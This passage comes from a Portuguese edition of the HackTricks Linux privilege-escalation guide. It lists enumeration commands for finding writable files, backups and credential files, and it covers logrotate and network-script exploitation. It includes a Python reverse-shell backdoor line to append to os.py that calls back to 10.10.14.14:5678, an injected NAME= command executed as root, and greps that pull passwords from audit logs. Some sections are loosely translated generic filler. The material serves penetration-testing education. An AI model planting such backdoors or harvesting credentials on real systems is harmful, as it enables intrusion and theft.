2. Arquivos de configuração: Muitos aplicativos e serviços têm arquivos de configuração que podem conter informações sensíveis ou serem manipulados para obter acesso privilegiado. Ao explorar esses arquivos, um invasor pode encontrar senhas, chaves de API ou outras informações confidenciais que podem ser usadas para obter acesso privilegiado.

3. Arquivos de log: Os arquivos de log podem conter informações úteis para um invasor, como senhas digitadas incorretamente ou comandos executados com privilégios elevados. Ao analisar os arquivos de log, um invasor pode encontrar informações que podem ser usadas para obter acesso privilegiado.

4. Arquivos de backup: Os arquivos de backup geralmente são negligenciados e podem conter informações sensíveis ou serem manipulados para obter acesso privilegiado. Um invasor pode explorar arquivos de backup mal protegidos para obter acesso privilegiado ao sistema.

Mitigação

Para mitigar os riscos associados a essa técnica de escalonamento de privilégios, as seguintes medidas podem ser implementadas:

1. Privilégios mínimos: Garanta que os usuários e serviços tenham apenas os privilégios necessários para executar suas funções. Evite atribuir permissões excessivas a arquivos e diretórios.

2. Monitoramento de arquivos: Monitore alterações em arquivos críticos, como arquivos SUID/SGID, arquivos de configuração e arquivos de log. Isso pode ser feito usando ferramentas de monitoramento de integridade de arquivos.

3. Proteção de arquivos de backup: Certifique-se de que os arquivos de backup sejam armazenados em locais seguros e protegidos adequadamente. Restrinja o acesso aos arquivos de backup e verifique regularmente sua integridade.

4. Atualizações regulares: Mantenha o sistema operacional e os aplicativos atualizados com as últimas correções de segurança. Isso ajudará a mitigar vulnerabilidades conhecidas que podem ser exploradas por meio de arquivos localizados em locais incomuns ou arquivos possuídos.

5. Práticas de segurança recomendadas: Siga as práticas recomendadas de segurança, como usar senhas fortes, implementar autenticação de dois fatores e restringir o acesso físico aos sistemas. Isso ajudará a reduzir a superfície de ataque e proteger contra ataques de escalonamento de privilégios.

#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf "  Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done

Arquivos modificados nos últimos minutos

To identify recently modified files on a Linux system, you can use the find command along with the -mmin option. This option allows you to specify the number of minutes ago that the file was modified.

To find files modified within the last 10 minutes, you can use the following command:

find / -type f -mmin -10

This command will search the entire file system (/) for regular files (-type f) that were modified within the last 10 minutes (-mmin -10).

You can adjust the number of minutes as needed to fit your specific requirements. This technique can be useful for identifying recently modified files, which may indicate suspicious activity or unauthorized changes on the system.

find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null

Arquivos de Banco de Dados Sqlite

Sqlite é um sistema de gerenciamento de banco de dados leve e amplamente utilizado. Muitos aplicativos, incluindo aqueles em dispositivos móveis, usam arquivos de banco de dados Sqlite para armazenar informações.

Esses arquivos de banco de dados podem conter dados confidenciais, como senhas, informações de login e outros dados sensíveis. Portanto, é importante proteger esses arquivos para evitar vazamentos de dados.

Neste diretório, você encontrará técnicas de escalonamento de privilégios específicas para arquivos de banco de dados Sqlite. Essas técnicas podem ser usadas para obter acesso não autorizado a esses arquivos e, potencialmente, extrair informações confidenciais.

É importante ressaltar que essas técnicas devem ser usadas apenas para fins legais e éticos, como testes de penetração ou auditorias de segurança. O uso indevido dessas técnicas pode resultar em consequências legais graves.

Portanto, sempre obtenha permissão por escrito antes de realizar qualquer teste de penetração ou auditoria de segurança em sistemas ou aplicativos que não sejam de sua propriedade.

find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null

*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml files

Esses são alguns dos arquivos que podem ser explorados para obter privilégios elevados em sistemas Linux:

• *_history: Armazena o histórico de comandos executados no terminal.
• .sudo_as_admin_successful: Registra as vezes em que o usuário executou comandos com privilégios de administrador.
• profile: Arquivo de configuração do shell que é executado quando um usuário faz login.
• bashrc: Arquivo de configuração do shell que é executado toda vez que um novo shell é aberto.
• httpd.conf: Arquivo de configuração do servidor web Apache.
• .plan: Arquivo que pode conter informações sobre o usuário e suas atividades.
• .htpasswd: Arquivo que armazena senhas criptografadas para autenticação em servidores web.
• .git-credentials: Arquivo que armazena credenciais de autenticação para repositórios Git.
• .rhosts: Arquivo que permite autenticação remota baseada em hosts confiáveis.
• hosts.equiv: Arquivo que permite autenticação remota baseada em hosts confiáveis.
• Dockerfile: Arquivo usado para criar imagens Docker personalizadas.
• docker-compose.yml: Arquivo usado para definir e executar aplicativos multi-container com Docker Compose.

find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null

Arquivos ocultos

Os arquivos ocultos são arquivos que começam com um ponto (.) no início do nome do arquivo. Esses arquivos são ocultos por padrão no sistema operacional Linux. Eles são usados para armazenar configurações e informações importantes que não devem ser modificadas ou excluídas acidentalmente pelos usuários.

Os arquivos ocultos podem conter informações sensíveis, como senhas, chaves de criptografia e outras informações confidenciais. Portanto, é importante ter cuidado ao lidar com esses arquivos e garantir que apenas usuários autorizados tenham acesso a eles.

Ao realizar uma análise de segurança ou um teste de penetração em um sistema Linux, é importante verificar se existem arquivos ocultos que possam conter informações valiosas para um invasor. Esses arquivos podem ser encontrados em diretórios importantes, como /etc, /home e /root.

Para visualizar os arquivos ocultos em um sistema Linux, você pode usar o comando ls -a no terminal. Isso exibirá todos os arquivos, incluindo os ocultos, no diretório atual.

É importante lembrar que a presença de arquivos ocultos não indica necessariamente uma vulnerabilidade de segurança. No entanto, eles podem fornecer pistas valiosas para um invasor em um cenário de ataque. Portanto, é essencial estar ciente da existência desses arquivos e garantir que eles sejam protegidos adequadamente.

find / -type f -iname ".*" -ls 2>/dev/null

Scripts/Binários no PATH

Um método comum de escalonamento de privilégios é explorar scripts ou binários que estão localizados no diretório PATH do sistema. O diretório PATH é uma lista de diretórios em que o sistema procura por comandos executáveis. Se um usuário com privilégios baixos puder substituir um desses scripts ou binários por um malicioso, ele poderá executar comandos com privilégios elevados.

Para identificar scripts ou binários no PATH que possam ser explorados, você pode executar o seguinte comando:

echo $PATH | tr ':' '\n' | xargs -I {} find {} -perm -u=s -type f 2>/dev/null

Este comando irá listar todos os scripts ou binários no PATH que possuem permissões de execução definidas para o usuário root. Você pode então analisar cada um desses scripts ou binários em busca de vulnerabilidades conhecidas ou maneiras de explorá-los para obter privilégios elevados.

É importante lembrar que, para explorar essa vulnerabilidade, você precisa ter permissões de gravação no diretório em que o script ou binário está localizado. Portanto, se você encontrar um script ou binário no PATH que possa ser explorado, verifique se você tem as permissões necessárias para substituí-lo.

for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type -f -executable 2>/dev/null; done

Arquivos da Web

Web files are an essential part of any website or web application. They contain the code, scripts, stylesheets, and other resources that make up the visual and functional elements of a website. These files are typically stored on a web server and are accessible to users through a web browser.

Web files can include HTML files, CSS files, JavaScript files, image files, video files, audio files, and more. Each file serves a specific purpose in the overall structure and functionality of a website.

When it comes to web security, it is important to properly secure and protect these files to prevent unauthorized access or tampering. This includes implementing proper file permissions, using secure protocols for file transfer, and regularly updating and patching any vulnerabilities in the software or frameworks used to build the website.

By following best practices for web file security, you can help ensure the integrity and confidentiality of your website's data and protect against potential attacks or data breaches.

ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null

Cópias de Segurança

As cópias de segurança são uma medida essencial para proteger os dados e garantir a recuperação em caso de perda ou corrupção. É importante implementar uma estratégia de backup adequada para garantir a integridade dos dados.

Existem várias opções para realizar cópias de segurança, incluindo:

• Cópias de segurança locais: Essas cópias de segurança são armazenadas em dispositivos físicos, como discos rígidos externos ou servidores de rede locais. Elas oferecem acesso rápido aos dados e são úteis para restaurações rápidas.

• Cópias de segurança em nuvem: Essas cópias de segurança são armazenadas em servidores remotos, geralmente fornecidos por provedores de serviços em nuvem. Elas oferecem uma camada adicional de proteção, pois os dados são armazenados em locais geograficamente diferentes.

É importante considerar os seguintes pontos ao implementar uma estratégia de backup:

• Frequência: Determine com que frequência os backups serão realizados. Isso dependerá da quantidade de dados que está sendo gerada e da importância dos mesmos.

• Retenção: Defina por quanto tempo os backups serão mantidos. É recomendável manter cópias de segurança anteriores por um período de tempo para garantir a recuperação de versões anteriores dos dados, se necessário.

• Testes de restauração: Regularmente, teste a restauração dos backups para garantir que os dados possam ser recuperados corretamente.

• Segurança: Proteja os backups com medidas de segurança adequadas, como criptografia, para evitar o acesso não autorizado aos dados.

Lembre-se de que as cópias de segurança são uma parte essencial da estratégia de segurança de dados e devem ser implementadas de forma consistente e regular.

find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null

Arquivos conhecidos que contêm senhas

Leia o código do linPEAS, ele procura por vários arquivos que podem conter senhas.
Outra ferramenta interessante que você pode usar para fazer isso é: LaZagne, que é um aplicativo de código aberto usado para recuperar muitas senhas armazenadas em um computador local para Windows, Linux e Mac.

Logs

Se você pode ler logs, pode ser capaz de encontrar informações interessantes/confidenciais dentro deles. Quanto mais estranho o log, mais interessante ele será (provavelmente).
Além disso, alguns logs de auditoria "ruins" configurados (com backdoor?) podem permitir que você registre senhas dentro dos logs de auditoria, conforme explicado neste post: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.

aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null

Para ler logs do grupo adm será realmente útil.

Arquivos Shell

~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell

Busca Genérica de Credenciais/Regex

Você também deve verificar arquivos que contenham a palavra "password" em seu nome ou dentro do conteúdo, e também verificar IPs e emails dentro de logs, ou expressões regulares de hashes.
Não vou listar aqui como fazer tudo isso, mas se você estiver interessado, pode verificar as últimas verificações que o linpeas realiza.

Arquivos Graváveis

Sequestro de Biblioteca Python

Se você souber de onde um script python será executado e você puder escrever dentro dessa pasta ou modificar bibliotecas python, você pode modificar a biblioteca do sistema operacional e inserir um backdoor (se você puder escrever onde o script python será executado, copie e cole a biblioteca os.py).

Para inserir o backdoor na biblioteca, basta adicionar no final do arquivo os.py a seguinte linha (altere o IP e a PORTA):

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Exploração do Logrotate

Existe uma vulnerabilidade no logrotate que permite a um usuário com permissões de escrita sobre um arquivo de log ou qualquer um de seus diretórios pai escrever um arquivo em qualquer localização. Se o logrotate estiver sendo executado pelo root, então o usuário poderá escrever qualquer arquivo em /etc/bash_completion.d/ que será executado por qualquer usuário que fizer login.
Portanto, se você tiver permissões de escrita sobre um arquivo de log ou qualquer um de seus diretórios pai, você pode elevar privilégios (na maioria das distribuições Linux, o logrotate é executado automaticamente uma vez por dia como usuário root). Além disso, verifique se além de /var/log existem mais arquivos sendo rotacionados.

{% hint style="info" %} Essa vulnerabilidade afeta a versão 3.18.0 e anteriores do logrotate {% endhint %}

Informações mais detalhadas sobre a vulnerabilidade podem ser encontradas nesta página: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.

Você pode explorar essa vulnerabilidade com o logrotten.

Essa vulnerabilidade é muito semelhante à CVE-2016-1247 (logs do nginx), portanto, sempre que você descobrir que pode alterar logs, verifique quem está gerenciando esses logs e verifique se você pode elevar privilégios substituindo os logs por links simbólicos.

/etc/sysconfig/network-scripts/ (Centos/Redhat)

Se, por qualquer motivo, um usuário conseguir escrever um script ifcf-<qualquer_coisa> em /etc/sysconfig/network-scripts ou ajustar um existente, então seu sistema está comprometido.

Os scripts de rede, como ifcg-eth0, por exemplo, são usados para conexões de rede. Eles se parecem exatamente com arquivos .INI. No entanto, eles são ~sourced~ no Linux pelo Network Manager (dispatcher.d).

No meu caso, o atributo NAME= nesses scripts de rede não é tratado corretamente. Se você tiver espaço em branco no nome, o sistema tenta executar a parte após o espaço em branco. Isso significa que tudo após o primeiro espaço em branco é executado como root.

Por exemplo: /etc/sysconfig/network-scripts/ifcfg-1337

NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0

Referência de vulnerabilidade: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

init, init.d, systemd e rc.d

/etc/init.d contém scripts usados pelas ferramentas de inicialização do System V (SysVinit). Este é o pacote tradicional de gerenciamento de serviços para Linux, contendo o programa init (o primeiro processo que é executado quando o kernel termina de inicializar¹) e alguma infraestrutura para iniciar e parar serviços e configurá-los. Especificamente, os arquivos em /etc/init.d são scripts de shell que respondem aos comandos start, stop, restart e (quando suportado) reload para gerenciar um serviço específico. Esses scripts podem ser invocados diretamente ou (mais comumente) por algum outro gatilho (geralmente a presença de um link simbólico em /etc/rc?.d/). (De aqui). Outra alternativa para esta pasta é /etc/rc.d/init.d no Redhat.

/etc/init contém arquivos de configuração usados pelo Upstart. Upstart é um pacote de gerenciamento de serviços jovem defendido pelo Ubuntu. Os arquivos em /etc/init são arquivos de configuração que informam ao Upstart como e quando start, stop, reload a configuração ou consultar o status de um serviço. A partir do lucid, o Ubuntu está fazendo a transição do SysVinit para o Upstart, o que explica por que muitos serviços vêm com scripts SysVinit, mesmo que os arquivos de configuração do Upstart sejam preferidos. Os scripts SysVinit são processados por uma camada de compatibilidade no Upstart. (De aqui).

systemd é um sistema de inicialização e gerenciador de serviços do Linux que inclui recursos como inicialização sob demanda de daemons, manutenção de pontos de montagem e automontagem, suporte a snapshots e rastreamento de processos usando grupos de controle do Linux. O systemd fornece um daemon de registro e outras ferramentas e utilitários para ajudar nas tarefas comuns de administração do sistema. (De aqui).

Arquivos que são enviados em pacotes baixados do repositório de distribuição são colocados em /usr/lib/systemd/. Modificações feitas pelo administrador do sistema (usuário) são colocadas em /etc/systemd/system/.

Outros Truques

Escalação de privilégios NFS

{% content-ref url="nfs-no_root_squash-misconfiguration-pe.md" %} nfs-no_root_squash-misconfiguration-pe.md {% endcontent-ref %}

Escapando de Shells restritas

{% content-ref url="escaping-from-limited-bash.md" %} escaping-from-limited-bash.md {% endcontent-ref %}

Cisco - vmanage

{% content-ref url="cisco-vmanage.md" %} cisco-vmanage.md {% endcontent-ref %}

Proteções de Segurança do Kernel

• https://github.com/a13xp0p0v/kconfig-hardened-check
• https://github.com/a13xp0p0v/linux-kernel-defence-map

Mais ajuda

Binários estáticos do impacket

Ferramentas de Escalação de Privilégios Linux/Unix

Melhor ferramenta para procurar vetores de escalonamento de privilégios locais no Linux: LinPEAS

LinEnum: https://github.com/rebootuser/LinEnum(opção -t)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: Enumerar vulnerabilidades do kernel no Linux e MAC https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (acesso físico): https://github.com/GDSSecurity/EvilAbigail
Recopilação de mais scripts: https://github.com/1N3/PrivEsc

Referências

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
https://payatu.com/guide-linux-privilege-escalation/
https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744
http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html
https://touhidshaikh.com/blog/?p=827
https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf
https://github.com/frizb/Linux-Privilege-Escalation
https://github.com/lucyoa/kernel-exploits
https://github.com/rtcrowley/linux-private-i

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family). * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com). * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](7af18b62b3/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).